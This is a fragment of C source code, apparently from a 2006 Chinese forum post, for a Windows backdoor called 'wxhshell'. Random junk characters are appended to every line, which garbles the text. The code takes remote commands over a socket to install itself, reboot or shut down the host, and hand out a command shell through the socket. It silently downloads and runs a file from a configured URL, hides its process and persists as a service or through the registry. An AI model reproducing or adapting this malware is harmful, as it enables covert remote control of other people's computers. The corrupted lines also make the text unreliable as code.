kD dY i7g>  
    switch(cmd[0]) { 1,=U^W.G  
  hV#+joT8i  
  // 帮助 Rcs7 'q5  
  case '?': { m663%b(5>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u`dWU}m)  
    break; y K)7%j!  
  } pj;cL ]L  
  // 安装 7GY[l3arxv  
  case 'i': { !^cQPX2<  
    if(Install()) ]^$&Ejpe#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]`63@-.  
    else wr,X@y%(!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >e :&kp  
    break; |B<+Y<)f^  
    } VJ;n0*/  
  // 卸载 {c`kC]9  
  case 'r': { }C!N$8d,  
    if(Uninstall()) lfG]^id'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tX$%*Uy  
    else pm$,B7Q`oO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KGd L1~  
    break; @;2,TY>Di  
    } TzmoyY  
  // 显示 wxhshell 所在路径 = q9>~E{}  
  case 'p': { LL|$M;S  
    char svExeFile[MAX_PATH]; u:tLO3VfJ  
    strcpy(svExeFile,"\n\r"); K Art4+31  
      strcat(svExeFile,ExeFile); u'M \m7  
        send(wsh,svExeFile,strlen(svExeFile),0); YbB8D-  
    break; J5h;~l!y  
    } -twV?~f  
  // 重启 rU`#3}s  
  case 'b': { SjV;& 1Z/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "& 'h\  
    if(Boot(REBOOT)) cdVh_"[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ql&5fyW  
    else { Q4\EI=4P]  
    closesocket(wsh); -8;U1^#  
    ExitThread(0); "f/lm 2<  
    } Ic/D!J{Y  
    break; d]6.$"\" p  
    } &l2oyQEF)  
  // 关机 }md[hiJ  
  case 'd': { .P+om<~B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PCDsj_e  
    if(Boot(SHUTDOWN)) J[2c[|[-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,*hzyy}Qu  
    else { | YmQO#''  
    closesocket(wsh); <x@brXA  
    ExitThread(0); q|BR-0yi  
    } C-' n4AY^  
    break; ;4p_lw@  
    } 37Ux2t  
  // 获取shell N-EVH e'}6  
  case 's': { h'YC!hjp   
    CmdShell(wsh); :S'P lH  
    closesocket(wsh); p&~8N#I#  
    ExitThread(0); Mu$9#[/  
    break;  vp7J';  
  } XoEiW R  
  // 退出 <seb,> :  
  case 'x': { oG~a`9N%C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hw ]x T5  
    CloseIt(wsh); eFS;+?bu  
    break; =EwC6+8*M  
    } /\P3UrQ&]  
  // 离开 Z~)Bh~^A  
  case 'q': { B 3<T#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hvCX,^LoJ  
    closesocket(wsh); U86bn(9K  
    WSACleanup(); 5:v"^"Sz  
    exit(1); ':YFm  
    break; xD+n2:I{  
        } D]n9+!Ec1f  
  } GyQu?`  
  } s)X'PJ0&Bs  
``KimeA~  
  // 提示信息 a[d6@!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l2Z!;Wm(  
} @)=\q`vV  
  } $?RxmWsP  
/KGVMBifM  
  return; w6 0I;.hy  
} jx B  
?EQ]f34  
// shell模块句柄 E wDFUK  
int CmdShell(SOCKET sock)  V9\g?w  
{ Z9TmX A@  
STARTUPINFO si; NT+%u-  
ZeroMemory(&si,sizeof(si)); |35"V3bs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a oj6/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w/+e  
PROCESS_INFORMATION ProcessInfo; 1}nrVn[B9  
char cmdline[]="cmd"; ~k>H4hV3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? IgM=@  
  return 0; KqC8ozup  
} '| (#^jAj  
8U}BSM_<2  
// 自身启动模式 MNd8#01q`  
int StartFromService(void) 2\Bt~;EIx  
{ ajB4 Lj,:r  
typedef struct ?t<yk(q  
{ d$.t0-lC  
  DWORD ExitStatus; ;s{k32e  
  DWORD PebBaseAddress; ~nO]R   
  DWORD AffinityMask; ('k;Ikut  
  DWORD BasePriority; <j CD^  
  ULONG UniqueProcessId; <NRW^#g<x  
  ULONG InheritedFromUniqueProcessId; P X/{  
}   PROCESS_BASIC_INFORMATION; 'MZX"t  
?Pg{nlJvq  
PROCNTQSIP NtQueryInformationProcess; PNVYW?l  
anLSD/'4W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b5WtL+Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4rkj$  
w0W9N%f#=  
  HANDLE             hProcess; UC&f  
  PROCESS_BASIC_INFORMATION pbi; '?7?"v  
5-rG8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [!Uzw 2  
  if(NULL == hInst ) return 0; vb^/DMhz  
i$`OOV=/e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G&ZpQ)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?[<C,w~$`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YT:])[gVV  
q6E8^7RtS@  
  if (!NtQueryInformationProcess) return 0; 7bcl^~lY  
_19x`J3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j;%RV)e  
  if(!hProcess) return 0; ;&="aD  
)X-~+X91 S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Iu(j"b#  
eYSVAj  
  CloseHandle(hProcess); N=4`jy =  
QN!.~>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 /@lZ  
if(hProcess==NULL) return 0; g+CTF67  
Wk3R6 V  
HMODULE hMod; MZ9{*y[z  
char procName[255]; N0U6N< w  
unsigned long cbNeeded; T\}?  
t4HDt\}&k~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /m#!<t7  
u~ %xU~v  
  CloseHandle(hProcess); x.gRTR`7(  
M? 7CBqZ  
if(strstr(procName,"services")) return 1; // 以服务启动 8&d s  
r7dvj#^  
  return 0; // 注册表启动 <hG] f%  
} #L,>)XkjS  
{V> >a  
// 主模块 *?k~n9n5U  
int StartWxhshell(LPSTR lpCmdLine) uC _&?  
{ mOLP77(o  
  SOCKET wsl; Cst:5m0!  
BOOL val=TRUE; S 1%/ee3  
  int port=0; pa7Iz^i  
  struct sockaddr_in door; RJ#xq#l  
\= M*x  
  if(wscfg.ws_autoins) Install(); +) pO82  
)czuJ5  
port=atoi(lpCmdLine); E1atXx  
p4 \r`  
if(port<=0) port=wscfg.ws_port; Z#-:zD7_  
DI P(  
  WSADATA data; a0vg%Z@!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t@a2@dX|  
C?UV3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZDmBuf q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0;*1g47\  
  door.sin_family = AF_INET; ^%^~:<N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0>uMR{ #  
  door.sin_port = htons(port); Q%.V\8#|V  
LuM[*_8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r ek89.p  
closesocket(wsl); E^I|%F  
return 1; G0Q8"]  
} ]Zfg~K(  
REyk,s2"6  
  if(listen(wsl,2) == INVALID_SOCKET) { Cf-R?gn]  
closesocket(wsl); _uvRC+~R  
return 1; hf2Q;n&V  
} vJX3fE }F  
  Wxhshell(wsl); |Rh%wJ  
  WSACleanup(); *vx!twu1o  
we<m%pf  
return 0; ZH9sf~7  
Q:.q*I!D<4  
} !N6/l5kn  
3SRz14/W_R  
// 以NT服务方式启动 &ukYTDM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &zl=}xeA  
{ GqFDN],Wp  
DWORD   status = 0; ,tdV-9N[O  
  DWORD   specificError = 0xfffffff; UjNe0jt% s  
Ppw0vaJ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _m;#+`E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vb0((c%&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gbP]!d:I  
  serviceStatus.dwWin32ExitCode     = 0; :G&tM   
  serviceStatus.dwServiceSpecificExitCode = 0; l{:7*U{d  
  serviceStatus.dwCheckPoint       = 0; uG1)cm B}  
  serviceStatus.dwWaitHint       = 0; YlI/~J  
`0@onDQVc=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /8Sg<  
  if (hServiceStatusHandle==0) return; fc'NU(70c  
faqOGAb  
status = GetLastError(); (Rqn)<<2  
  if (status!=NO_ERROR) 7*bUy)UZ  
{ icq!^5BzL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oDY $F%  
    serviceStatus.dwCheckPoint       = 0; d ] J5c  
    serviceStatus.dwWaitHint       = 0; y{>d&M|  
    serviceStatus.dwWin32ExitCode     = status; 5iE-$,7#L  
    serviceStatus.dwServiceSpecificExitCode = specificError; &|;XLRHP}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VdrqbZ   
    return; OK{_WTCe>  
  } \,YF['Qq  
),#%jc2_^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <ID/\Qx`q  
  serviceStatus.dwCheckPoint       = 0; MfJ;":]O!  
  serviceStatus.dwWaitHint       = 0; &5]&6TD6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0n5{Wr$  
} jB+K)NXHL  
@dl{ .,J  
// 处理NT服务事件,比如:启动、停止 +RXKI{0Km  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uJQ#l\t  
{ s-V5\Lip,  
switch(fdwControl) u:~2:3B  
{ >w,o|  
case SERVICE_CONTROL_STOP: 2!Bjs?K<bv  
  serviceStatus.dwWin32ExitCode = 0; ZT*RD2,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +Y7"!wYR>  
  serviceStatus.dwCheckPoint   = 0; #S?xRqkc  
  serviceStatus.dwWaitHint     = 0; ('H[[YODh  
  { AE1EZ#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (*{Y#XD{  
  } {)E)&lL  
  return; ao2NwH##  
case SERVICE_CONTROL_PAUSE: EbEQ@6t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "E4;M/  
  break; !j'9>G{T  
case SERVICE_CONTROL_CONTINUE: > /,7j:X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PuKT0*_ 7  
  break; |"4+~z%/9!  
case SERVICE_CONTROL_INTERROGATE: R>BZQugZ~  
  break; dso6ZRx  
}; cg16|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  T06BrX  
} 3q{op9_T7  
[)K?e!c8  
// 标准应用程序主函数 KI* erK [d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y|sU-O2}Dl  
{ U?vG?{A  
PL;PId<9w  
// 获取操作系统版本 [1 pWg^  
OsIsNt=GetOsVer(); `a$-"tW~j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;?-A 4!V,  
QWqEe|}6  
  // 从命令行安装 CC Z'(Tkq  
  if(strpbrk(lpCmdLine,"iI")) Install(); ulY8$jB  
/oA=6N#j  
  // 下载执行文件 mmE!!J`B  
if(wscfg.ws_downexe) { DG2CpR)S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vuL;P"F4&  
  WinExec(wscfg.ws_filenam,SW_HIDE); VB*`"4e@b<  
} (XF"ckma  
>ZAb9=/M)F  
if(!OsIsNt) { oD0WHp  
// 如果时win9x,隐藏进程并且设置为注册表启动 uc>u=kEue  
HideProc(); in>Os@e#  
StartWxhshell(lpCmdLine); ]r]=Q"/5  
} H0!W:cIS;l  
else ;,d^=:S6@  
  if(StartFromService()) F+%6?2 J  
  // 以服务方式启动 s8i@HO  
  StartServiceCtrlDispatcher(DispatchTable); FU;b8{Y  
else \6]Uj+  
  // 普通方式启动 --t"X<.z  
  StartWxhshell(lpCmdLine); ccUI\!TD{/  
Y9YE:s  
return 0; kU*Fif  
}
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只看该作者 1 发表于: 2006-10-10
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